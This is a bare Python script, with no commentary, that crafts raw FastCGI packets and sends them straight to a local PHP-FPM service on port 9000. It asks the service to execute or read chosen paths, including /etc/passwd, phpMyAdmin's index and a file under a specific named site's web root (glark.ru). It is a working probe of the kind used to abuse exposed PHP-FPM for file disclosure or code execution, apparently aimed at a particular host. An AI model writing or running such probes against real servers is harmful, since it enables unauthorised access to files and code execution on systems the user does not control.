import socket,struct,time
def enc(p):
    r=b''
    for k,v in p.items():
        for b in (k.encode(),v.encode()):
            if len(b)<128: r+=struct.pack('B',len(b))
            else: r+=struct.pack('!I',len(b)|0x80000000)
        r+=k.encode()+v.encode()
    return r
def req(sf):
    p={'GATEWAY_INTERFACE':'CGI/1.1','REQUEST_METHOD':'GET','SCRIPT_FILENAME':sf,'SCRIPT_NAME':'/x.php','REQUEST_URI':'/x.php','QUERY_STRING':'','SERVER_PROTOCOL':'HTTP/1.1','REMOTE_ADDR':'127.0.0.1','SERVER_NAME':'localhost','SERVER_PORT':'80','SERVER_ADDR':'127.0.0.1','REDIRECT_STATUS':'200','DOCUMENT_ROOT':'/','HTTP_HOST':'localhost'}
    begin=struct.pack('!BBHH',1,1,1,8)+struct.pack('!HB',1,0)
    pd=enc(p)
    out=begin+struct.pack('!BBHH',1,4,1,len(pd))+pd+struct.pack('!BBHH',1,4,1,0)+struct.pack('!BBHH',1,5,1,0)
    s=socket.create_connection(('127.0.0.1',9000),4)
    s.sendall(out); s.settimeout(5)
    data=b''
    try:
        while True:
            c=s.recv(65536)
            if not c: break
            data+=c
    except socket.timeout: pass
    s.close()
    return data
# build distinct scripts
open('/tmp/echo_test.php','w').write('<?php echo "HELLO_XYZ_123"; ?>')
for sf in ['/tmp/echo_test.php','/tmp/nonexistent.php','/usr/share/phpMyAdmin/index.php','/var/www/glarkru/data/www/glark.ru/t1.php','/etc/passwd']:
    d=req(sf)
    body=b''
    if len(d)>=12:
        typ=d[1]; ln=(d[4]<<8)|d[5]
        body=d[8:8+ln]
    print(sf,'=>',repr(d[:120]))
